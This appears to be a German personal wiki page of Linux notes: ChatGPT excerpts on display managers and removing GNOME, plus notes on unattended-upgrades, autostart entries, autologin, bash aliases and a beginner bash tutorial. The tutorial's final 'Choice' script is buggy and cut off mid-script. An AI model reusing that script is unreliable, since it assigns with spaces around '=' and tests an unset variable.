    <div class="dark bg-gray-950 rounded-md"><div class="flex items-center relative text-token-text-secondary bg-token-main-surface-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md">bash<span class="" data-state="closed"><button class="flex gap-1 items-center"><svg class="icon-sm" fill="none" height="24" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M12 3.5C10.8954 3.5 10 4.39543 10 5.5H14C14 4.39543 13.1046 3.5 12 3.5ZM8.53513 3.5C9.22675 2.3044 10.5194 1.5 12 1.5C13.4806 1.5 14.7733 2.3044 15.4649 3.5H17.25C18.9069 3.5 20.25 4.84315 20.25 6.5V18.5C20.25 20.1569 19.1569 21.5 17.25 21.5H6.75C5.09315 21.5 3.75 20.1569 3.75 18.5V6.5C3.75 4.84315 5.09315 3.5 6.75 3.5H8.53513ZM8 5.5H6.75C6.19772 5.5 5.75 5.94772 5.75 6.5V18.5C5.75 19.0523 6.19772 19.5 6.75 19.5H17.25C18.0523 19.5 18.25 19.0523 18.25 18.5V6.5C18.25 5.94772 17.8023 5.5 17.25 5.5H16C16 6.60457 15.1046 7.5 14 7.5H10C8.89543 7.5 8 6.60457 8 5.5Z" fill="currentColor" fill-rule="evenodd"></path></svg>Copy code</button></span></div><div class="p-4 overflow-y-auto">`<span class="hljs-built_in">ls</span> /usr/share/xsessions/`</div></div>Dieser Befehl listet alle Dateien im Verzeichnis `/usr/share/xsessions/` auf, die normalerweise Desktop-Session-Dateien für verschiedene Display Manager enthalten. Die Dateinamen entsprechen in der Regel dem Namen des Display Managers.
2. **Durchsuchen der Paketliste mit Hilfe des Paketmanagers**: Öffnen Sie ein Terminal und führen Sie den folgenden Befehl aus, um die Liste der installierten Display Manager-Pakete anzuzeigen:
    
    <div class="dark bg-gray-950 rounded-md"><div class="flex items-center relative text-token-text-secondary bg-token-main-surface-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md">bash<span class="" data-state="closed"><button class="flex gap-1 items-center"><svg class="icon-sm" fill="none" height="24" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M12 3.5C10.8954 3.5 10 4.39543 10 5.5H14C14 4.39543 13.1046 3.5 12 3.5ZM8.53513 3.5C9.22675 2.3044 10.5194 1.5 12 1.5C13.4806 1.5 14.7733 2.3044 15.4649 3.5H17.25C18.9069 3.5 20.25 4.84315 20.25 6.5V18.5C20.25 20.1569 19.1569 21.5 17.25 21.5H6.75C5.09315 21.5 3.75 20.1569 3.75 18.5V6.5C3.75 4.84315 5.09315 3.5 6.75 3.5H8.53513ZM8 5.5H6.75C6.19772 5.5 5.75 5.94772 5.75 6.5V18.5C5.75 19.0523 6.19772 19.5 6.75 19.5H17.25C18.0523 19.5 18.25 19.0523 18.25 18.5V6.5C18.25 5.94772 17.8023 5.5 17.25 5.5H16C16 6.60457 15.1046 7.5 14 7.5H10C8.89543 7.5 8 6.60457 8 5.5Z" fill="currentColor" fill-rule="evenodd"></path></svg>Copy code</button></span></div><div class="p-4 overflow-y-auto">`dpkg -l | grep display-manager`</div></div>Dieser Befehl verwendet `dpkg -l`, um eine Liste aller installierten Pakete anzuzeigen, und filtert dann nach Paketen, die den Begriff "display-manager" im Namen enthalten.

</div></div></div></div></div></div></div></div>Nachdem Sie einen dieser Schritte ausgeführt haben, sollten Sie eine Liste der installierten Display Manager auf Ihrem Debian-System sehen können.

<div class="w-full text-token-text-primary" data-testid="conversation-turn-5" id="bkmrk--1"><div class="px-4 py-2 justify-center text-base md:gap-6 m-auto"><div class="flex flex-1 text-base mx-auto gap-3 md:px-5 lg:px-1 xl:px-5 md:max-w-3xl lg:max-w-[40rem] xl:max-w-[48rem] group"><div class="relative flex w-full flex-col agent-turn"><div class="flex-col gap-1 md:gap-3"><div class="flex flex-grow flex-col max-w-full"><div class="min-h-[20px] text-message flex flex-col items-start gap-3 whitespace-pre-wrap break-words [.text-message+&]:mt-5 overflow-x-auto" data-message-author-role="assistant" data-message-id="6392aab0-807b-4161-bf6c-4f2c898c7ca7"><div class="markdown prose w-full break-words dark:prose-invert light">  
</div></div></div><div class="mt-1 flex justify-start gap-3 empty:hidden"><div class="text-gray-400 flex self-end lg:self-center items-center justify-center lg:justify-start mt-0 -ml-1 h-7 gap-[2px] visible"><span class="" data-state="closed"><button class="flex items-center gap-1.5 rounded-md p-1 text-xs text-token-text-tertiary hover:text-token-text-primary md:invisible md:group-hover:visible md:group-[.final-completion]:visible"><svg class="icon-md" fill="none" height="24" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M11 4.9099C11 4.47485 10.4828 4.24734 10.1621 4.54132L6.67572 7.7372C6.49129 7.90626 6.25019 8.00005 6 8.00005H4C3.44772 8.00005 3 8.44776 3 9.00005V15C3 15.5523 3.44772 16 4 16H6C6.25019 16 6.49129 16.0938 6.67572 16.2629L10.1621 19.4588C10.4828 19.7527 11 19.5252 11 19.0902V4.9099ZM8.81069 3.06701C10.4142 1.59714 13 2.73463 13 4.9099V19.0902C13 21.2655 10.4142 22.403 8.81069 20.9331L5.61102 18H4C2.34315 18 1 16.6569 1 15V9.00005C1 7.34319 2.34315 6.00005 4 6.00005H5.61102L8.81069 3.06701ZM20.3166 6.35665C20.8019 6.09313 21.409 6.27296 21.6725 6.75833C22.5191 8.3176 22.9996 10.1042 22.9996 12.0001C22.9996 13.8507 22.5418 15.5974 21.7323 17.1302C21.4744 17.6185 20.8695 17.8054 20.3811 17.5475C19.8927 17.2896 19.7059 16.6846 19.9638 16.1962C20.6249 14.9444 20.9996 13.5175 20.9996 12.0001C20.9996 10.4458 20.6064 8.98627 19.9149 7.71262C19.6514 7.22726 19.8312 6.62017 20.3166 6.35665ZM15.7994 7.90049C16.241 7.5688 16.8679 7.65789 17.1995 8.09947C18.0156 9.18593 18.4996 10.5379 18.4996 12.0001C18.4996 13.3127 18.1094 14.5372 17.4385 15.5604C17.1357 16.0222 16.5158 16.1511 16.0539 15.8483C15.5921 15.5455 15.4632 14.9255 15.766 14.4637C16.2298 13.7564 16.4996 12.9113 16.4996 12.0001C16.4996 10.9859 16.1653 10.0526 15.6004 9.30063C15.2687 8.85905 15.3578 8.23218 15.7994 7.90049Z" fill="currentColor" fill-rule="evenodd"></path></svg></button></span><span class="" data-state="closed"><button class="flex items-center gap-1.5 rounded-md p-1 text-xs text-token-text-tertiary hover:text-token-text-primary md:invisible md:group-hover:visible md:group-[.final-completion]:visible"><svg class="icon-md" fill="none" height="24" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M12 3.5C10.8954 3.5 10 4.39543 10 5.5H14C14 4.39543 13.1046 3.5 12 3.5ZM8.53513 3.5C9.22675 2.3044 10.5194 1.5 12 1.5C13.4806 1.5 14.7733 2.3044 15.4649 3.5H17.25C18.9069 3.5 20.25 4.84315 20.25 6.5V18.5C20.25 20.1569 19.1569 21.5 17.25 21.5H6.75C5.09315 21.5 3.75 20.1569 3.75 18.5V6.5C3.75 4.84315 5.09315 3.5 6.75 3.5H8.53513ZM8 5.5H6.75C6.19772 5.5 5.75 5.94772 5.75 6.5V18.5C5.75 19.0523 6.19772 19.5 6.75 19.5H17.25C18.0523 19.5 18.25 19.0523 18.25 18.5V6.5C18.25 5.94772 17.8023 5.5 17.25 5.5H16C16 6.60457 15.1046 7.5 14 7.5H10C8.89543 7.5 8 6.60457 8 5.5Z" fill="currentColor" fill-rule="evenodd"></path></svg></button></span><div class="flex"><span class="" data-state="closed"><button class="p-1 rounded-md text-token-text-tertiary hover:text-token-text-primary md:invisible md:group-hover:visible md:group-[.final-completion]:visible"><svg class="icon-md" fill="none" height="24" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M11.8727 21.4961C11.6725 21.8466 11.2811 22.0423 10.8805 21.9922L10.4267 21.9355C7.95958 21.6271 6.36855 19.1665 7.09975 16.7901L7.65054 15H6.93226C4.29476 15 2.37923 12.4921 3.0732 9.94753L4.43684 4.94753C4.91145 3.20728 6.49209 2 8.29589 2H18.0045C19.6614 2 21.0045 3.34315 21.0045 5V12C21.0045 13.6569 19.6614 15 18.0045 15H16.0045C15.745 15 15.5054 15.1391 15.3766 15.3644L11.8727 21.4961ZM14.0045 4H8.29589C7.39399 4 6.60367 4.60364 6.36637 5.47376L5.00273 10.4738C4.65574 11.746 5.61351 13 6.93226 13H9.00451C9.32185 13 9.62036 13.1506 9.8089 13.4059C9.99743 13.6612 10.0536 13.9908 9.96028 14.2941L9.01131 17.3782C8.6661 18.5002 9.35608 19.6596 10.4726 19.9153L13.6401 14.3721C13.9523 13.8258 14.4376 13.4141 15.0045 13.1902V5C15.0045 4.44772 14.5568 4 14.0045 4ZM17.0045 13V5C17.0045 4.64937 16.9444 4.31278 16.8338 4H18.0045C18.5568 4 19.0045 4.44772 19.0045 5V12C19.0045 12.5523 18.5568 13 18.0045 13H17.0045Z" fill="currentColor" fill-rule="evenodd"></path></svg></button></span></div></div></div><div class="pr-2 lg:pr-0">  
</div></div></div></div></div></div><div class="w-full text-token-text-primary" data-testid="conversation-turn-6" id="bkmrk-you-wie-kann-ich-den"><div class="px-4 py-2 justify-center text-base md:gap-6 m-auto"><div class="flex flex-1 text-base mx-auto gap-3 md:px-5 lg:px-1 xl:px-5 md:max-w-3xl lg:max-w-[40rem] xl:max-w-[48rem] group"><div class="flex-shrink-0 flex flex-col relative items-end"><div><div class="pt-0.5"><div class="gizmo-shadow-stroke flex h-6 w-6 items-center justify-center overflow-hidden rounded-full"><div class="relative flex">![User](https://s.gravatar.com/avatar/11f14d5f8cb473384672148ad53a7b56?s=480&r=pg&d=https%3A%2F%2Fcdn.auth0.com%2Favatars%2Fba.png)</div></div></div></div></div><div class="relative flex w-full flex-col"><div class="font-semibold select-none">You</div><div class="flex-col gap-1 md:gap-3"><div class="flex flex-grow flex-col max-w-full"><div class="min-h-[20px] text-message flex flex-col items-start gap-3 whitespace-pre-wrap break-words [.text-message+&]:mt-5 overflow-x-auto" data-message-author-role="user" data-message-id="aaa2b202-bef5-44d4-8e76-c03891a89ca5"><div class="">Wie kann ich den gnome desktop deinstallieren?</div></div></div><div class="mt-1 flex justify-start gap-3 empty:hidden"><div class="text-gray-400 flex self-end lg:self-center items-center justify-center lg:justify-start mt-0 -ml-1 h-7 gap-[2px] visible"><div class="flex items-center gap-1.5 text-xs"><svg class="icon-md" fill="none" height="24" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M13.2929 4.29291C15.0641 2.52167 17.9359 2.52167 19.7071 4.2929C21.4783 6.06414 21.4783 8.93588 19.7071 10.7071L18.7073 11.7069L11.1603 19.2539C10.7182 19.696 10.1489 19.989 9.53219 20.0918L4.1644 20.9864C3.84584 21.0395 3.52125 20.9355 3.29289 20.7071C3.06453 20.4788 2.96051 20.1542 3.0136 19.8356L3.90824 14.4678C4.01103 13.8511 4.30396 13.2818 4.7461 12.8397L13.2929 4.29291ZM13 7.41422L6.16031 14.2539C6.01293 14.4013 5.91529 14.591 5.88102 14.7966L5.21655 18.7835L9.20339 18.119C9.40898 18.0847 9.59872 17.9871 9.7461 17.8397L16.5858 11L13 7.41422ZM18 9.5858L14.4142 6.00001L14.7071 5.70712C15.6973 4.71693 17.3027 4.71693 18.2929 5.70712C19.2831 6.69731 19.2831 8.30272 18.2929 9.29291L18 9.5858Z" fill="currentColor" fill-rule="evenodd"></path></svg></div></div></div></div></div></div></div></div><div class="w-full text-token-text-primary" data-testid="conversation-turn-7" id="bkmrk-chatgpt-chatgpt-1"><div class="px-4 py-2 justify-center text-base md:gap-6 m-auto"><div class="flex flex-1 text-base mx-auto gap-3 md:px-5 lg:px-1 xl:px-5 md:max-w-3xl lg:max-w-[40rem] xl:max-w-[48rem] group final-completion"><div class="flex-shrink-0 flex flex-col relative items-end"><div><div class="pt-0.5"><div class="gizmo-shadow-stroke flex h-6 w-6 items-center justify-center overflow-hidden rounded-full"><div class="relative p-1 rounded-sm h-9 w-9 text-white flex items-center justify-center"><svg class="icon-sm" fill="none" height="41" role="img" viewbox="0 0 41 41" width="41" xmlns="http://www.w3.org/2000/svg"><text x="-9999" y="-9999">ChatGPT</text><path d="M37.5324 16.8707C37.9808 15.5241 38.1363 14.0974 37.9886 12.6859C37.8409 11.2744 37.3934 9.91076 36.676 8.68622C35.6126 6.83404 33.9882 5.3676 32.0373 4.4985C30.0864 3.62941 27.9098 3.40259 25.8215 3.85078C24.8796 2.7893 23.7219 1.94125 22.4257 1.36341C21.1295 0.785575 19.7249 0.491269 18.3058 0.500197C16.1708 0.495044 14.0893 1.16803 12.3614 2.42214C10.6335 3.67624 9.34853 5.44666 8.6917 7.47815C7.30085 7.76286 5.98686 8.3414 4.8377 9.17505C3.68854 10.0087 2.73073 11.0782 2.02839 12.312C0.956464 14.1591 0.498905 16.2988 0.721698 18.4228C0.944492 20.5467 1.83612 22.5449 3.268 24.1293C2.81966 25.4759 2.66413 26.9026 2.81182 28.3141C2.95951 29.7256 3.40701 31.0892 4.12437 32.3138C5.18791 34.1659 6.8123 35.6322 8.76321 36.5013C10.7141 37.3704 12.8907 37.5973 14.9789 37.1492C15.9208 38.2107 17.0786 39.0587 18.3747 39.6366C19.6709 40.2144 21.0755 40.5087 22.4946 40.4998C24.6307 40.5054 26.7133 39.8321 28.4418 38.5772C30.1704 37.3223 31.4556 35.5506 32.1119 33.5179C33.5027 33.2332 34.8167 32.6547 35.9659 31.821C37.115 30.9874 38.0728 29.9178 38.7752 28.684C39.8458 26.8371 40.3023 24.6979 40.0789 22.5748C39.8556 20.4517 38.9639 18.4544 37.5324 16.8707ZM22.4978 37.8849C20.7443 37.8874 19.0459 37.2733 17.6994 36.1501C17.7601 36.117 17.8666 36.0586 17.936 36.0161L25.9004 31.4156C26.1003 31.3019 26.2663 31.137 26.3813 30.9378C26.4964 30.7386 26.5563 30.5124 26.5549 30.2825V19.0542L29.9213 20.998C29.9389 21.0068 29.9541 21.0198 29.9656 21.0359C29.977 21.052 29.9842 21.0707 29.9867 21.0902V30.3889C29.9842 32.375 29.1946 34.2791 27.7909 35.6841C26.3872 37.0892 24.4838 37.8806 22.4978 37.8849ZM6.39227 31.0064C5.51397 29.4888 5.19742 27.7107 5.49804 25.9832C5.55718 26.0187 5.66048 26.0818 5.73461 26.1244L13.699 30.7248C13.8975 30.8408 14.1233 30.902 14.3532 30.902C14.583 30.902 14.8088 30.8408 15.0073 30.7248L24.731 25.1103V28.9979C24.7321 29.0177 24.7283 29.0376 24.7199 29.0556C24.7115 29.0736 24.6988 29.0893 24.6829 29.1012L16.6317 33.7497C14.9096 34.7416 12.8643 35.0097 10.9447 34.4954C9.02506 33.9811 7.38785 32.7263 6.39227 31.0064ZM4.29707 13.6194C5.17156 12.0998 6.55279 10.9364 8.19885 10.3327C8.19885 10.4013 8.19491 10.5228 8.19491 10.6071V19.808C8.19351 20.0378 8.25334 20.2638 8.36823 20.4629C8.48312 20.6619 8.64893 20.8267 8.84863 20.9404L18.5723 26.5542L15.206 28.4979C15.1894 28.5089 15.1703 28.5155 15.1505 28.5173C15.1307 28.5191 15.1107 28.516 15.0924 28.5082L7.04046 23.8557C5.32135 22.8601 4.06716 21.2235 3.55289 19.3046C3.03862 17.3858 3.30624 15.3413 4.29707 13.6194ZM31.955 20.0556L22.2312 14.4411L25.5976 12.4981C25.6142 12.4872 25.6333 12.4805 25.6531 12.4787C25.6729 12.4769 25.6928 12.4801 25.7111 12.4879L33.7631 17.1364C34.9967 17.849 36.0017 18.8982 36.6606 20.1613C37.3194 21.4244 37.6047 22.849 37.4832 24.2684C37.3617 25.6878 36.8382 27.0432 35.9743 28.1759C35.1103 29.3086 33.9415 30.1717 32.6047 30.6641C32.6047 30.5947 32.6047 30.4733 32.6047 30.3889V21.188C32.6066 20.9586 32.5474 20.7328 32.4332 20.5338C32.319 20.3348 32.154 20.1698 31.955 20.0556ZM35.3055 15.0128C35.2464 14.9765 35.1431 14.9142 35.069 14.8717L27.1045 10.2712C26.906 10.1554 26.6803 10.0943 26.4504 10.0943C26.2206 10.0943 25.9948 10.1554 25.7963 10.2712L16.0726 15.8858V11.9982C16.0715 11.9783 16.0753 11.9585 16.0837 11.9405C16.0921 11.9225 16.1048 11.9068 16.1207 11.8949L24.1719 7.25025C25.4053 6.53903 26.8158 6.19376 28.2383 6.25482C29.6608 6.31589 31.0364 6.78077 32.2044 7.59508C33.3723 8.40939 34.2842 9.53945 34.8334 10.8531C35.3826 12.1667 35.5464 13.6095 35.3055 15.0128ZM14.2424 21.9419L10.8752 19.9981C10.8576 19.9893 10.8423 19.9763 10.8309 19.9602C10.8195 19.9441 10.8122 19.9254 10.8098 19.9058V10.6071C10.8107 9.18295 11.2173 7.78848 11.9819 6.58696C12.7466 5.38544 13.8377 4.42659 15.1275 3.82264C16.4173 3.21869 17.8524 2.99464 19.2649 3.1767C20.6775 3.35876 22.0089 3.93941 23.1034 4.85067C23.0427 4.88379 22.937 4.94215 22.8668 4.98473L14.9024 9.58517C14.7025 9.69878 14.5366 9.86356 14.4215 10.0626C14.3065 10.2616 14.2466 10.4877 14.2479 10.7175L14.2424 21.9419ZM16.071 17.9991L20.4018 15.4978L24.7325 17.9975V22.9985L20.4018 25.4983L16.071 22.9985V17.9991Z" fill="currentColor"></path></svg></div></div></div></div></div><div class="relative flex w-full flex-col agent-turn"><div class="font-semibold select-none">ChatGPT</div><div class="flex-col gap-1 md:gap-3"><div class="flex flex-grow flex-col max-w-full"><div class="min-h-[20px] text-message flex flex-col items-start gap-3 whitespace-pre-wrap break-words [.text-message+&]:mt-5 overflow-x-auto" data-message-author-role="assistant" data-message-id="048cd636-f0d8-4dd2-873f-4b73095cb03d"><div class="markdown prose w-full break-words dark:prose-invert light">  
</div></div></div></div></div></div></div></div>Um den GNOME-Desktop von einem Debian-System zu deinstallieren, können Sie die entsprechenden GNOME-Pakete über den Paketmanager entfernen. Beachten Sie jedoch, dass das Entfernen des GNOME-Desktops auch andere Pakete entfernen kann, die von anderen Anwendungen oder Desktop-Umgebungen abhängen. Stellen Sie sicher, dass Sie dies berücksichtigen, bevor Sie fortfahren. Hier sind die Schritte, um den GNOME-Desktop zu deinstallieren:

<div class="w-full text-token-text-primary" data-testid="conversation-turn-7" id="bkmrk-%C3%96ffnen-sie-ein-termi"><div class="px-4 py-2 justify-center text-base md:gap-6 m-auto"><div class="flex flex-1 text-base mx-auto gap-3 md:px-5 lg:px-1 xl:px-5 md:max-w-3xl lg:max-w-[40rem] xl:max-w-[48rem] group final-completion"><div class="relative flex w-full flex-col agent-turn"><div class="flex-col gap-1 md:gap-3"><div class="flex flex-grow flex-col max-w-full"><div class="min-h-[20px] text-message flex flex-col items-start gap-3 whitespace-pre-wrap break-words [.text-message+&]:mt-5 overflow-x-auto" data-message-author-role="assistant" data-message-id="048cd636-f0d8-4dd2-873f-4b73095cb03d"><div class="markdown prose w-full break-words dark:prose-invert light">1. Öffnen Sie ein Terminal.
2. Geben Sie den folgenden Befehl ein, um den GNOME-Desktop zu deinstallieren:

<div class="dark bg-gray-950 rounded-md"><div class="flex items-center relative text-token-text-secondary bg-token-main-surface-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md">bash<span class="" data-state="closed"><button class="flex gap-1 items-center"><svg class="icon-sm" fill="none" height="24" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M12 3.5C10.8954 3.5 10 4.39543 10 5.5H14C14 4.39543 13.1046 3.5 12 3.5ZM8.53513 3.5C9.22675 2.3044 10.5194 1.5 12 1.5C13.4806 1.5 14.7733 2.3044 15.4649 3.5H17.25C18.9069 3.5 20.25 4.84315 20.25 6.5V18.5C20.25 20.1569 19.1569 21.5 17.25 21.5H6.75C5.09315 21.5 3.75 20.1569 3.75 18.5V6.5C3.75 4.84315 5.09315 3.5 6.75 3.5H8.53513ZM8 5.5H6.75C6.19772 5.5 5.75 5.94772 5.75 6.5V18.5C5.75 19.0523 6.19772 19.5 6.75 19.5H17.25C18.0523 19.5 18.25 19.0523 18.25 18.5V6.5C18.25 5.94772 17.8023 5.5 17.25 5.5H16C16 6.60457 15.1046 7.5 14 7.5H10C8.89543 7.5 8 6.60457 8 5.5Z" fill="currentColor" fill-rule="evenodd"></path></svg>Copy code</button></span></div><div class="p-4 overflow-y-auto">`sudo apt remove gnome-shell gnome-session gnome-control-center gnome-terminal gnome-tweaks gnome-software`</div></div></div></div></div></div></div></div></div></div>Dieser Befehl entfernt die wichtigsten GNOME-Pakete, einschließlich des GNOME-Shell, der Sitzungsverwaltung, des Systemeinstellungsprogramms, des Terminalprogramms, der Tweaks-Anwendung und der Softwareanwendung.

<div class="w-full text-token-text-primary" data-testid="conversation-turn-7" id="bkmrk-nachdem-sie-den-befe"><div class="px-4 py-2 justify-center text-base md:gap-6 m-auto"><div class="flex flex-1 text-base mx-auto gap-3 md:px-5 lg:px-1 xl:px-5 md:max-w-3xl lg:max-w-[40rem] xl:max-w-[48rem] group final-completion"><div class="relative flex w-full flex-col agent-turn"><div class="flex-col gap-1 md:gap-3"><div class="flex flex-grow flex-col max-w-full"><div class="min-h-[20px] text-message flex flex-col items-start gap-3 whitespace-pre-wrap break-words [.text-message+&]:mt-5 overflow-x-auto" data-message-author-role="assistant" data-message-id="048cd636-f0d8-4dd2-873f-4b73095cb03d"><div class="markdown prose w-full break-words dark:prose-invert light">3. Nachdem Sie den Befehl ausgeführt haben, werden Sie möglicherweise aufgefordert, Ihre Auswahl zu bestätigen und weitere zu entfernende Pakete zu überprüfen. Lesen Sie diese Meldungen sorgfältig durch, um sicherzustellen, dass Sie keine wichtigen Systempakete entfernen.
4. Wenn Sie bereit sind, die GNOME-Pakete zu entfernen, geben Sie Ihr Passwort ein, wenn Sie dazu aufgefordert werden, und drücken Sie die Eingabetaste, um fortzufahren.
5. Warten Sie, bis der Deinstallationsvorgang abgeschlossen ist. Nach Abschluss des Vorgangs sollten die meisten GNOME-Pakete von Ihrem System entfernt sein.
6. Starten Sie Ihr System neu, um sicherzustellen, dass alle Änderungen wirksam werden.

</div></div></div></div></div></div></div></div>Bitte beachten Sie, dass das Entfernen des GNOME-Desktops dazu führen kann, dass einige Anwendungen oder Systemfunktionen nicht mehr verfügbar sind oder dass eine andere Desktop-Umgebung möglicherweise nicht ordnungsgemäß funktioniert. Stellen Sie sicher, dass Sie vollständig verstehen, welche Auswirkungen das Entfernen von GNOME auf Ihr System haben kann, bevor Sie fortfahren.

# Automatische Updates für Linux Server

<p class="callout info">Bestimmte Pakete ausklammern</p>

```bash
## install package ##
apt install unattended-upgrades

## configure unattended-upgrades ##
nano /etc/apt/apt.conf.d/50unattended-upgrades

# unter Pyckage-Blacklist folgende Dienste ausklammern
# // ist hier die Kommentierung
"apache2";
"mariadb-server";
"php$"

## enbale auto-upgrades ##
## In der Datei muss eine 1 stehen
nano /etc/apt/apt.conf.d/20auto-upgrades


## test auto-upgrades ##
unattended-upgrades --dry-run --debug
```

# Autostart in Linux

## Autostart nach dem Anmelden für einen Benutzer

Datei erstellen in

```
~/.config/autostart/meins_skript.desktop
```

um Firefox im Kioskmodus zu starten würde der Inhalt wie folgt aussehen:

```bash
[Desktop Entry]
Name=Nextcloud
GenericName=File Synchronizer
Exec="/usr/bin/firefox" --kiosk https://duckduckgo.com
Terminal=false
Icon=Nextcloud
Categories=Network
Type=Application
StartupNotify=false
X-GNOME-Autostart-enabled=true
X-GNOME-Autostart-Delay=10
```

## Skript starten

1. Öffne einen Datei-Explorer und navigiere zu `~/.config/autostart`. Wenn der Ordner `autostart` nicht vorhanden ist, kannst du ihn erstellen.
2. Innerhalb des `autostart`-Ordners kannst du ein neues Desktop-Eintrag-Datei erstellen. Verwende dafür einen Texteditor wie Nano oder Vim. Zum Beispiel:

```bash
nano mein_skript.desktop
```

3. Füge den folgenden Inhalt in die Datei `mein_skript.desktop` ein:

```bash
[Desktop Entry]
Name=Test
Exec=/usr/bin/meinstart.sh
Terminal=false
Icon=VLC
Categories=Network
Type=Application
StartupNotify=true
X-GNOME-Autostart-enabled=true
X-GNOME-Autostart-Delay=10
```

Stelle sicher, dass du den richtigen Pfad zum Skript in der `Exec`-Zeile angibst. Du kannst auch den Namen und eine Beschreibung deines Skripts anpassen.

4. Speichere die Datei und schließe den Texteditor.
5. Starte deinen Computer neu oder melde dich ab und dann wieder an. Das Skript sollte automatisch starten, wenn du dich im Cinnamon-Desktop anmeldest.

Diese Methode ermöglicht es, das Skript nur für deinen Benutzer zu starten. Wenn du möchtest, dass das Skript für alle Benutzer beim Anmelden in Cinnamon ausgeführt wird, kannst du die Datei `/etc/xdg/autostart/mein_skript.desktop` erstellen und den obigen Inhalt in diese Datei einfügen.

Das Skript das startet sollte dann so aussehen um ein neues Terminal Fenster zu starten:

```bash
#!/bin/bash

gnome-terminal -- bash -c "/usr/bin/nachricht.sh; exec bash" 
```

### Auf dem Raspberry

Beim Raspberry gibt es ein anderes Terminal:

```bash
#!/bin/bash
lxterminal -e "/pfad/zu/deinem/script.sh"
```

## AutoLogin

Um einen User automatisch beim Start anzumelden in die Datei /etc/sddm.conf den Usernamen hinterlegen.

Hier im KDE Plasma

```bash
[Autologin]
User=Username
Session=plasma.desktop
```

XFCE Desktop

Editiere die Datei sudo nano /etc/lightdm/lightdm.conf

```bash
[Seat:Default]
autologin-user=Username  # Einkommentieren
```

# Bash Aliases

Mithilfe von bash\_aliases kann man sich "Kurzbefehle" für die Konsole erstellen. Dadurch wird durch Eingabe von z.B. 'checkupdates' der Standardbefehl fürs updaten ausgeführt.

weitere hier: [jonshu.com/blog/bash-command-line-shortcuts/](http://jonshu.com/blog/bash-command-line-shortcuts/)

```bash
###############################
## Bash-Einstellungen Pelzer ##
###############################


alias ini='nano ~/.bash_aliases'
alias readme='nano ~/readme.md'
alias cls='clear'
alias pyserver='python3 -m http.server 4444'
alias checkupdates='sudo apt-get update && sudo apt-get upgrade -y'
bind '"\en":"nmap -sP 10.1.1.*"'
bind '"\C-L":kill-whole-line'
```

<div class="page-content" id="bkmrk-"><div dir="auto">  
</div>---

<div class="text-muted text-small"><div class="entity-meta">  
</div></div></div>

# Bash Scripting

##  Ein Script erstellen

Eine Bash-Datei muss die Endung .sh haben

Aufbau der Bash:

```bash
#! /bin/bash

echo Hello World! 
```

Die Zeile `#! /bin/bash` sagt dem System, welche Shell sie verwenden werden, in diesem Fall die Bash-Shell.

## Script ausführbar machen

Damit jedes Skript ausgeführt werden kann muss es ausführbar gemacht werden.

```bash
chmod +x helloworld.sh
```

## Script ausführen

```bash
./helloworld.sh
```

## Programmbeispiele

<table border="1" id="bkmrk-code-kommentar-%24%28dat" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td>Code</td><td>Kommentar</td></tr><tr><td>`$(date +%A)`</td><td>ruft die Systemvariable ab, die den aktuellen Wochentag speichert</td></tr><tr><td>  
</td><td>  
</td></tr></tbody></table>

[![Screenshot 2023-04-17 130424.jpg](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-04/scaled-1680-/screenshot-2023-04-17-130424.jpg)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-04/screenshot-2023-04-17-130424.jpg)

[![Screenshot 2023-04-17 130541.jpg](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-04/scaled-1680-/screenshot-2023-04-17-130541.jpg)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-04/screenshot-2023-04-17-130541.jpg)

[![Screenshot 2023-04-17 130604.jpg](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-04/scaled-1680-/screenshot-2023-04-17-130604.jpg)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-04/screenshot-2023-04-17-130604.jpg)

[![Screenshot 2023-04-17 130629.jpg](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-04/scaled-1680-/screenshot-2023-04-17-130629.jpg)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-04/screenshot-2023-04-17-130629.jpg)

### Variable übergeben

```bash
#! /bin/bash

echo Hello $1
```

`./hello.sh Hermann` gibt Hallo Hermann auf dem Bildschirm aus

```bash
#! /bin/bash

firstname=$1
surname=$2

echo Hello $firstname $surname
```

<p class="callout info">Bei Variablen wird zwischen Name und '=' keine Leerzeichen gelassen!</p>

### Klammern

```bash
#! /bin/bash

firstnumber=$1
secondnumber=$2

echo The sum is $(($firstnumber+$secondnumber))
```

### Input

```bash
#! /bin/bash

echo -n "Hello, what is your name? " #-n bewirkt, dass die Eingabe nicht in einer neuen Zeile stattfindet
read firstname
echo -n "Thank you, and what is your surname? "
read surname
clear
echo Hello $firstname $surname, how are you today? 
```

### If, then und Else

```bash
#! /bin/bash

echo -n "Hello, what is your Name "
read firstname 
echo -n "And what is your surname? "
read surname 
clear
if [ "$firstname" == "Hermann" ] && [ "$surname" == "Pelzer" ]
then echo "Awesome name," $firstname $surname
else echo Hello $firstname $surname, how are you today? 
fi
```

### While-Schleife

```bash
#! /bin/bash

count=0

while [ $count -lt 100 ];do
echo $count
let count=count+1 
done
```

### For-Schleife

```bash
#! /bin/bash

for count in {0..100}; do
echo $count
let count=count+1
done
```

### Choice

```bash
#! /bin/bash

auswahl = 4

echo "1. Tails" 
echo "2. Is"
echo "3. Awesome"
echo -n "Please choose an option (1, 2, or 3) " 

while [ $choice -eq 4 ] ; do 

read choice

if [ $choice -eq 1 ] ; then 
	echo "You have chosen: Tails"
else 
	if [ $choice -eq 2 ] ; then
    	echo "You have chosen: Is"
    else 
